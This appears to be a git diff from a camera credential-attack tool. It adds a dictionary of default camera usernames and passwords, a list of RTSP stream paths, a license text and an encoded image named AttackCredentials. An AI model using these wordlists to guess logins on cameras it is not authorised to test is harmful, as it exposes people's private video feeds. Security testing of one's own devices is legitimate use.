Lepilleur) explicitly disclaims copyright in all -jurisdictions which recognize such a disclaimer. In such jurisdictions, -this software is released into the Public Domain. - -In jurisdictions which do not recognize Public Domain property (e.g. Germany as of -2010), this software is Copyright (c) 2007-2010 by Baptiste Lepilleur, and is -released under the terms of the MIT License (see below). - -In jurisdictions which recognize Public Domain property, the user of this -software may choose to accept it either as 1) Public Domain, 2) under the -conditions of the MIT License (see below), or 3) under the terms of dual -Public Domain/MIT License conditions described here, as they choose. - -The MIT License is about as close to Public Domain as a license can get, and is -described in clear, concise terms at: - - http://en.wikipedia.org/wiki/MIT_License - -The full text of the MIT License follows: - -======================================================================== -Copyright (c) 2007-2010 Baptiste Lepilleur - -Permission is hereby granted, free of charge, to any person -obtaining a copy of this software and associated documentation -files (the "Software"), to deal in the Software without -restriction, including without limitation the rights to use, copy, -modify, merge, publish, distribute, sublicense, and/or sell copies -of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS -BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN -ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. -======================================================================== -(END LICENSE TEXT) - -The MIT license is compatible with both the GPL and commercial -software, affording one all of the rights of Public Domain with the -minor nuisance of being required to keep the above copyright notice -and license text in the source code. Note also that by accepting the -Public Domain "license" you can re-license your copy using whatever -license you like. \ No newline at end of file diff --git a/test/conf/ids.json b/dictionaries/credentials.json similarity index 90% rename from test/conf/ids.json rename to dictionaries/credentials.json index 046b60c..d2d49a2 100644 --- a/test/conf/ids.json +++ b/dictionaries/credentials.json @@ -1,5 +1,5 @@ { - "username": [ + "usernames": [ "", "admin", "Admin", @@ -7,7 +7,7 @@ "supervisor", "ubnt" ], - "password" : [ + "passwords" : [ "", "admin", "9999", diff --git a/dictionaries/routes b/dictionaries/routes new file mode 100644 index 0000000..623ab75 --- /dev/null +++ b/dictionaries/routes @@ -0,0 +1,113 @@ + +1.AMP +1/stream1 +CAM_ID.password.mp2 +GetData.cgi +MediaInput/h264 +MediaInput/mpeg4 +VideoInput/1/h264/1 +access_code +access_name_for_stream_1_to_5 +av0_0 +av2 +avn=2 +axis-media/media.amp +cam +cam0_0 +cam0_1 +cam1/h264 +cam1/h264/multicast +cam1/mjpeg +cam1/mpeg4 +camera.stm +ch0 +ch001.sdp +ch01.264 +ch0_unicast_firststream +ch0_unicast_secondstream +channel1 +h264 +h264/media.amp +image.mpg +img/media.sav +img/video.asf +img/video.sav +ioImage/1 +ipcam.sdp +ipcam_h264.sdp +live.sdp +live/h264 +live/mpeg4 +live_mpeg4.sdp +livestream +livestream/ +media/media.amp +media/video1 +mjpeg/media.smp +mp4 +mpeg4 +mpeg4/1/media.amp +mpeg4/media.amp +mpeg4/media.smp +mpeg4unicast +mpg4/rtsp.amp +multicaststream +now.mp4 +nph-h264.cgi +nphMpeg4/g726-640x +nphMpeg4/g726-640x480 +nphMpeg4/nil-320x240 +play1.sdp +play2.sdp +rtpvideo1.sdp +rtsp_live0 +rtsp_live1 +rtsp_live2 +rtsp_tunnel +rtsph264 +stream1 +user.pin.mp2 +user_defined +video +video.3gp +video.mp4 +video1 +video1+audio1 +vis +wfov +video.h264 +11 +12 +ch1-s1 +live3.sdp +onvif-media/media.amp +axis-media/media.amp +axis-media/media.amp?videocodec=h264 +mpeg4/media.amp +stream +cam/realmonitor +live +video.pro2 +videoMain +VideoInput/1/mpeg4/1 +VideoInput/1/h264/1 +video.pro3 +video.pro1 +video.mjpg +h264_vga.sdp +media.amp +media +ONVIF/MediaInput +nphMpeg4/g726-640x48 +MediaInput/mpeg4 +MediaInput/h264 +Streaming/Channels/1 +ch0_0.h264 +rtsph2641080p +live/av0 +cam1/onvif-h264 +ucast/11 +LowResolutionVideo +1 +live/ch00_0 +medias2 \ No newline at end of file diff --git a/images/AttackCredentials.png b/images/AttackCredentials.png new file mode 100644 index 0000000000000000000000000000000000000000..4dc6285fb1e589251d0492ffe1c8c95cb62f6473 GIT binary patch literal 110349 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 